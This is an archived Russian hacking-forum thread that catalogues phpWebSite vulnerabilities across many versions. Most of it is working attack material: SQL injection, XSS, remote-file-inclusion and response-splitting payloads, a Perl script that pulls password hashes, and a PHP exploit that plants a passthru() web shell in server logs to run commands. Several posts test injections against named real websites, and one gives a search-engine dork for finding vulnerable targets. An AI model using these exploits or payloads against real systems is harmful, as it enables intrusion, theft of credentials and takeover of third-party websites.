Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
[ Обзор уязвимостей phpWebSite ] |

23.01.2008, 20:25
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
[ Обзор уязвимостей phpWebSite ]
Уязвимости phpWebSite
от старых к новым:
phpWebsite 0.8.2
Уязвимость позволяет включать произвольный удаленный PHP файл в include_once.php или modsecurity.php скрипты:
modsecurity.php:
Код:
<?php
global $inc_prefix;
if(!$inc_prefix) {
...
}
...
include_once($inc_prefix."htmlheader.php");
?>
таким образом, вызов
Код:
http://[HOST]/modsecurity.php?inc_prefix=http://site.narod.ru/
приведет к инклюду, для этого нужно. что бы скрипт с внедряемым кодом находился на сайте атакующего и назывался htmlheader.php, естественно сайт должен быть без поддержки PHP, пример:
Код:
http://[HOST]/ catalog/inludes/include_once.php?inc_prefix=http://site.narod.ru/
phpWebsite 0.8.3
Уязвимость позволяет произвести Пассивную XSS-атаку:
Код:
http://[HOST]/article.php?sid="><Img Src=javascript:alert(document.cookie)>
SQL инъекции: Уязвимость существует в сценариях friend.php и article.php в параметре "sid”. Удачная эксплуатация уязвимости возможна при выключенной опции "magic_quotes_gpc". Пример:
Код:
http://[target]/friend.php?op=FriendSend&sid=-1+union+select+name+from+users+where+uid=1
http://[target]/article.php?sid=[sql]
phpWebsite 0.9.3
SQL инъекция. Уязвимость обнаружена в модуле 'Calendar'. Пример:
Код:
http://[HOST]/[PATH]/index.php?module=calendar&calendar[view]
=month&month=11&year=2003 and startDate <= 20071205) or ( endDate >=031101 and endDate <=20071205)) and active=1
Уязвимы и другие сценарии в модуле 'Calendar'.
XSS. Уязвимость обнаружена в модулях 'Calendar', 'PageMaster', и 'Fatcat'. Примеры:
Код:
http://[HOST]/[PATH]/index.php?module=calendar&calendar[view]
=day&month=2&year=2003&day=1+%00"><script>alert(‘XSS’)</script>
Код:
http://[HOST]/[PATH]/index.php?modu le=fatcat&fatcat[user]
=viewCategory&fatcat_id=1%00+"><script>alert(‘XSS’)</script>
Код:
http://[HOST]/[PATH]/index.php?module=pagemaster&PAGE_user_op=view_page&PAGE_id=10+"><script>alert(‘XSS’)</script>&MMN_position=[X:X]
Код:
http://[HOST]/[PATH]/index.php?module=search&SEA_search_op=continue&PDA_limit=10">+"><script>alert(‘XSS’)</script>
Уязвимы все переменные
Раскрытие инсталляционного пути:
Код:
http://[target]/index.php?module=calendar&calendar[view]=month&month=11&year=9
Переполнение буфера в модуле 'Calendar’, позволяет удаленному атакующему аварийно завершить работу Web сервера. Пример:
Код:
http://[HOST]/[PATH]/index.php?index.php?module=calendar&calendar[view]=
[VIEW FORM]&month=11&year=91+92+93...( больше 4000 байт )
автор уязвимости утверждает, что ложится, веб-сервер и mysql сервер, и воизбежания этого советует:
«…не используйте PHP, MySQL, Windows, Linux, компьютер, tcp/ip, netbios, игры, asp, Apache......не используйте ничего!»
phpWebSite 0.9.x
SQL инъекция. Уязвимость обнаружена в announce модуле.
Код:
http://[HOST]/[PATH]/index.php?module=announce&ANN_user_op=view&ANN_id='[SQL инъекция]
phpWebSite 0.9.3-4
XSS. Пример:
Код:
/index.php?module=comments&CM_op=replyToComment&CM_pid=1[XSS]
Также уязвимы поля subject и message в частных сообщениях посланных через notes модуль.
Также сообщается, что phpWebSite нарушает RFC 2616, принимая функции клавиш через http get запросы. В результате, удаленный пользователь может выполнить XSS нападение, чтобы заставить целевого администратора выполнить функции клавиш, например, внедренные в GET запрос в IFRAME или image тэгах или других тэгах.
Response Splitting. Уязвимость существует в фале index.php Удаленный атакующий может с помощью специально сформированного HTTP POST запроса подменить содержимое страниц web сервера, выполнить произвольный HTML код в браузере жертвы. Пример:
Код:
POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive
module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%
site in 0wned</html>&password=foobar
phpWebSite 0.10.0
Заливка шелла. Уязвимость обнаружена в модуле Announce при обработке gif файлов. Удаленный пользователь с привилегиями на загрузку файлов и публикацию анонсов может залить php сценарий на сервер. Удаленный пользователь может выдать php сценарий за gif файл (имя.gif.php) и вызвать его:
Код:
http://[HOST]/images/announce/имя.gif.php
phpWebSite 0.10.1
SQL инъекция. пример:
Код:
http://[HOST]/phpweb/index.php?module=[sql_injection]
Эксплоит:
Код:
#!/usr/bin/perl
use LWP::Simple;
$serv = $ARGV[0];
$path = $ARGV[1];
$name = $ARGV[2];
sub usage
{
print "\nUsage: $0 [server] [path] [username] \n";
print "sever - URL\n";
print "path - path to index.php\n";
print "username - name register user\n\n";
exit ();}
sub work
{
print qq(
---------------------------------
#==---[ phpWebSite SQL-injection |
#==---[ tested ob phpWebSite-0.10.0 |
#==---[ Gr33tz: blf, 1dt.w0lf, Pengo, |
#==---[ edisan, foster, whice |
#==---[ (c)oded by x97Rang 2005 RST/GHC |
#==---[ http://rst.void.ru |
#==---[ http://ghc.ru |
---------------------------------\n\n);&chv;&board}
sub chv
{
$ver = sprintf("http://%s%s/docs/CHANGELOG.txt",$serv,$path);
$getv = get "$ver";
if ($getv =~ /(phpWebSite-)(\d{1})\.(\d{1,2})\.(\d{1})/){print"[*] Version: $1$2.$3.$4\n";}}
sub board
{
$URL = sprintf("http://%s%s/index.php?module=%27+union+select+username,password+from+mod_users+where+username=%27$name%27/*",$serv,$path);
$content = get "$URL";
if ($content =~ /(\<b\>Search\&\#160\;)(\w{32})(\<\/b\>)/){&showh;}else{print "... One of those days :)\n";}}
sub showh
{
print "[*] User: $name\n";
print "[*] Hash: $2\n\n";}
if (@ARGV != 3){&usage;}else{&work;}
# milw0rm.com [2005-09-15]
phpWebSite 0.10.2
Локальный инклюд. Уязвимость позволяет удаленному пользователю просмотреть (и принклюдить) произвольные локальные файлы. Уязвимость существует в параметре "hub_dir" сценария "index.php". Для успешной эксплуатации уязвимости опция "magic_quotes_gpc" должна быть отключена. Невозможность инклюда удаленных файлов существует из-за фильтрации символов “://” в уязвимом параметре с помощью условия:
Код:
if (!preg_match ("/:\/\//i", $hub_dir)) {
loadConfig($hub_dir);
} else {
exit('FATAL ERROR! Hub directory was malformed.');
Эксплоит
Код:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHPWebSite <= 0.10.2 remote cmmnds xctn\r\n";
echo "-> arbitrary local inclusion, works with magic_quotes_gpc = Off\r\n";
echo "by rgod, mail: rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to phpwebsite\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpwebsite/ ls -la\r\n";
die;
}
/* explaination:
vulnerable code in index.php at lines 21-29:
...
if (!isset($hub_dir)) {
$hub_dir = NULL;
}
if (!preg_match ("/:\/\//i", $hub_dir)) {
loadConfig($hub_dir);
} else {
exit('FATAL ERROR! Hub directory was malformed.');
}
...
and at lines 125-143:
...
function loadConfig($hub_dir){
if (file_exists($hub_dir . 'conf/config.php')) {
if (filesize($hub_dir . 'conf/config.php') > 0) {
include($hub_dir . 'conf/config.php');
define('PHPWS_SOURCE_DIR', $source_dir);
} else {
header('Location: ./setup/set_config.php');
exit();
}
} else {
header('Location: ./setup/set_config.php');
exit();
}
}
....
so, you can include files from local resources, poc:
http://[target]/[path]/index.php?hub_dir=/var/log/httpd/access_log%00
you don't see output, but we have some code in log files, it will be executed
also, on php5, arbitrary remote inclusion:
http://[target]/[path]/index.php?hub_dir=\\192.168.1.3\c\
including a full accessible share
where on samba resource you have some code in conf/config.php
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "[1] Injecting some code in log files...\r\n";
$CODE ='<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);}';
$CODE.='passthru($_GET[cmd]);echo 666;die;?>';
$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$serv."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
sleep(2);
# fill with possible locations
$paths= array (
"/var/log/httpd/access_log",
"/var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"/etc/httpd/logs/acces_log",
"/etc/httpd/logs/acces.log",
"/etc/httpd/logs/error_log",
"/etc/httpd/logs/error.log",
"/var/www/logs/access_log",
"/var/www/logs/access.log",
"/usr/local/apache/logs/access_log",
"/usr/local/apache/logs/access.log",
"/var/log/apache/access_log",
"/var/log/apache/access.log",
"/var/log/access_log",
"/var/www/logs/error_log",
"/www/logs/error.log",
"/usr/local/apache/logs/error_log",
"/usr/local/apache/logs/error.log",
"/var/log/apache/error_log",
"/var/log/apache/error.log",
"/var/log/access_log",
"/var/log/error_log",
);
for ($i=0; $i<=count($paths)-1; $i++)
{
$j=$i+2;
echo "[".$j."] Trying with ".$paths[$i]."%00\r\n";
$xpl=$paths[$i];
$packet ="GET ".$p."index.php?cmd=".$cmd."&hub_dir=".$xpl."%00 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#debug, shows packets in a nice format
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"666")){
echo "Exploit succeeded...\r\n";
$temp=explode("666",$html);
echo $temp[1];
die;
}
}
#if you are here...
echo "Exploit failed...";
?>
# milw0rm.com [2006-04-14]
phpWebSite 1.4.0
XSS. Уязвимость в параметре "search" в модуле поиска, пример:
Код:
http://[host]/search.php?query=”><script>alert('XSS')</script>
Ну и от себя, вроде описания этой баги не нашел:
SQL инъекция, версию не узнал, так как нигде не нашел CHANGELOG.txt
существует в модуле downloads в параметре lid, Пример:
Код:
http://[host]/mod.php?mod=downloads&op=getit&lid=-1+union+select+concat(name,0x3a,pass),2+from+users/*
рабочий пример:
Код:
http://www.heimplatzsuche.de/mod.php?mod=downloads&op=getit&lid=68+union+select+concat(name,0x3a,pass),2+from+users/*
Не очень удобна в эксплуатации, посмотрите, поймете почему 
__________________
Карфаген должен быть разрушен...
|
|
|

23.01.2008, 21:46
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
Вот еще от меня XSS:
версию опять же неузнал, но везде где пробовал работает:
Код:
http://[host]/mod.php?mod=userpage&menu=1210&page_id=[несуществующая страница]<script>alert(/xss/)</script>
пример:
Код:
http://pcburn.com/mod.php?mod=userpage&menu=1210&page_id=-1<script>alert(/xss/)</script>
__________________
Карфаген должен быть разрушен...
|
|
|

23.01.2008, 23:09
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме: 8042357
Репутация:
3742
|
|
Молодец.)
приведет к инклюду, для этого нужно. что бы скрипт с внедряемым кодом находился на сайте атакующего и назывался htmlheader.php, естественно сайт должен быть без поддержки PHP, пример:
нет не обязательно.. просто ? добавляешь в конец,)
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|

18.05.2008, 19:44
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
В дополнение найденое мной в версии 0.8.2(думаю будет работать и на других аналогичных) раскрытие пути
Сценарий mod параметр mod(неверный параметр, или в массив)
Код:
http://[target]/mod.php?mod=
Код:
http://[target]/mod.php?mod[]=
пассивные XSS
сценарии article.php friend.php параметр sid
Код:
http://[target]/article.php?op=Print&sid=17<script>alert(11111)</script>
Код:
http://[target]/friend.php?op=FriendSend&sid=17"/><script>alert(/1/)</script>
модуль newsletter
Код:
http://[target]/mod.php?mod=newsletter&op=archive&id=44"/><script>alert(/1/)</script>
Код:
http://[target]/mod.php?mod=newsletter&op=read&id=706&listid=44"/><script>alert(/1/)</script>
в поиске
"/><script>alert(/1/)</script>
Код:
http://[target]/search.php
в форму пойска модуля faq >><script>alert(11111)</script>
Код:
http://[target]/mod.php?mod=faq&op=search_form
И последняя работает не везде, почему не разобрался
Код:
http://[target]/mod.php?mod=faq>><script>alert(11111)</script>
Всё найденное точно работает в версии 0.8.2, также проверялось на нескольких неопознанных версиях
|
|
|

19.05.2008, 16:18
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
phpwebsite, модуль article sql inj
example:
Код:
http://www.phpwebsitemanual.com/index.php?module=article&email=4+union+select+1,2,3,4,5,6,7,8,9,10,load_file(0x3b),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
phpwebsite, модуль announce sql inj
example:
Код:
http://www.phpwebsitemanual.com/index.php?module=announce&ANN_user_op=categories&category=4+order+by+2/*&list=categories&PAGER_limit=5&PAGER_start=0&PAGER_section=1
/ps
google it:
Код:
http://www.google.ru/search?q=inurl:?module=article+inurl:email
*edit
Последний раз редактировалось l1ght; 19.05.2008 в 18:21..
|
|
|

18.07.2008, 13:53
|
|
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме: 5149122
Репутация:
2438
|
|
POST запрос на странице http://site/index.php?module=users &action=user&command=signup_user
Код:
"><BODY onload=alert(document.cookie)>
В полях: Password и Confirm (вместе), Email Address
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|